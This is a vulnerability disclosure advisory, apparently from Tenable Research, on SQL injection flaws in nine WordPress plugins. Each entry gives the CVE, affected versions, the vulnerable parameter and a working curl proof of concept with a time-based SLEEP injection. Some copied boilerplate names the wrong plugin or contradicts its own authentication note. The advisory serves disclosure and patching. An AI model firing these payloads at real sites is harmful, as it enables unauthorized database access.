Joshua Martinelle of Tenable Research discovered multiple SQL Injection vulnerabilities across a number of WordPress plugins. This advisory will track each vulnerability as information and fixes become available.
Paid Memberships Pro : CVE-2023-23488 - Unauthenticated SQL Injection
Reference: https://wordpress.org/plugins/paid-memberships-pro
Affected Versions: < 2.9.8
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8
The plugin does not escape the 'code' parameter in the /pmpro/v1/order REST route before using it in a SQL statement, leading to an unauthenticated SQL injection vulnerability.
Proof of Concept:
Where TARGET_HOST is the address of the wordpress host with Paid Memberships Pro installed, the following proof of concept uses the SLEEP function to demonstrate the SQL injection. Changing the value passed to sleep will alter how long the request takes to return.
curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)--%20-"
For example, running this twice with the "time" command will show the difference in response times:
time curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(1)))a)--%20-"
{}
real 0m3.068s
user 0m0.006s
sys 0m0.009s
time curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)--%20-"
{}
real 0m6.095s
user 0m0.006s
sys 0m0.009s
Easy Digital Downloads: CVE-2023-23489 - Unauthenticated SQL Injection
Reference: https://wordpress.org/plugins/easy-digital-downloads/
Affected Versions: 3.1.0.2 & 3.1.0.3
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8
The plugin does not escape the 's' parameter in the 'edd_download_search' action before using it in a SQL statement, leading to an unauthenticated SQL injection vulnerability.
The vulnerable part of the code corresponds to the 'edd_ajax_download_search()' function of the './includes/ajax-functions.php' file.
Proof of Concept:
Where TARGET_HOST is the address of the wordpress host with Paid Memberships Pro installed, the following proof of concept uses the SLEEP function to demonstrate the SQL injection. Changing the value passed to sleep will alter how long the request takes to return.
Note: The same SQL injection/unique request will not work twice in a row right away, as the 'edd_ajax_download_search()' function stores the most recent search for 30 seconds (so to run the same payload again, you will have to modify the payload slightly or wait 30 seconds).
curl "http://TARGET_HOST/wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)--+-"
Survey Maker: CVE-2023-23490 - Authenticated SQL Injection
Reference: https://wordpress.org/plugins/survey-maker
Affected Versions: < 3.1.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8
The plugin does not escape the ‘surveys_ids’ parameter in the 'ays_surveys_export_json' action before using it in a SQL statement, leading to an authenticated SQL injection vulnerability.
The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.
Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.
curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=ays_surveys_export_json&surveys_ids[0]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+-"
ReviewX: CVE-2023-26325 - Authenticated SQL Injection
Reference: https://wordpress.org/plugins/reviewx/
Affected Versions: <= 1.6.6
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8
The plugin does not escape the 'filterValue' or 'selectedColumns' parameters in the rx_export_review action before using them in a SQL statement, leading to a SQL injection.
The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.
Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.
curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=rx_export_review&filterValue[0]=&filterValue[1]=&filterValue[2]=&filterValue[3]=&filterValue[4]=all&filterValue[5]=&filterValue[6]=aaaa&filterValue[7]=id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)&filterValue[8]=desc&selectedColumns[0]=id"
Waiting: One-click Countdowns: CVE-2023-28659 - Authenticated SQL Injection
Reference: https://wordpress.org/plugins/waiting/
Affected Versions: <= 0.6.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8
The pbc_down[meta][id] parameter of the pbc_save_downs action is vulnerable to SQL injection.
The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.
Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.
curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=pbc_save_downs&pbc_down[meta][id]=1+OR+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)--"
Events Made Easy: CVE-2023-28660 - Authenticated SQL Injection
Reference: https://wordpress.org/plugins/events-made-easy/
Affected Versions: <= 2.3.14
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8
The plugin does not escape the 'search_name' parameter in the eme_recurrences_list action before using it in a SQL statement, leading to a SQL injection vulnerability.
The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.
Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.
curl "http://$TARGET_HOST/wp-admin/admin-ajax.php?action=eme_recurrences_list&search_name=1'{+}AND{+}(SELECT+1+FROM+(SELECT(SLEEP(0.5)))a)-{-}+{-}" --header "$WP_COOKIE"
WP Popup Banners: CVE-2023-28661 - Authenticated SQL Injection
Reference: https://wordpress.org/plugins/wp-popup-banners/
Affected Versions: <= 1.2.5
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8
The plugin does not escape the 'value' parameter in the get_popup_data action before using it in a SQL statement, leading to a SQL injection vulnerability.
The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.
Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.
curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=get_popup_data&value=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)"
Gift Cards (Gift Vouchers and Packages): CVE-2023-28662 - Unauthenticated SQL Injection
Reference: https://wordpress.org/plugins/gift-voucher/
Affected Versions: <= 4.3.1
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8
The plugin does not escape the ‘template’ parameter in the wpgv_doajax_voucher_pdf_save_func action before using it in a SQL statement, leading to a SQL injection vulnerability.
The vulnerability does not require authentication to trigger.
Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user, and where $BASE64_INJECTION is the base64 encoded SQL injection, for example:
LTEgT1IgU0xFRVAoMik= translates to -1 OR SLEEP(2)
curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --data "action=wpgv_doajax_voucher_pdf_save_func&template=$BASE64_INJECTION"
or with a proper payload:
curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --data "action=wpgv_doajax_voucher_pdf_save_func&template=LTEgT1IgU0xFRVAoMik="
Formidable PRO2PDF: CVE-2023-28663 - Authenticated SQL Injection
Reference: https://wordpress.org/plugins/formidablepro-2-pdf/
Affected Versions: < 3.11
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8
The plugin does not escape the ‘fieldmap’ parameter in the fpropdf_export_file action before using it in a SQL statement, leading to a SQL injection vulnerability.
The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.
Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.
curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=fpropdf_export_file&fieldmap=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)"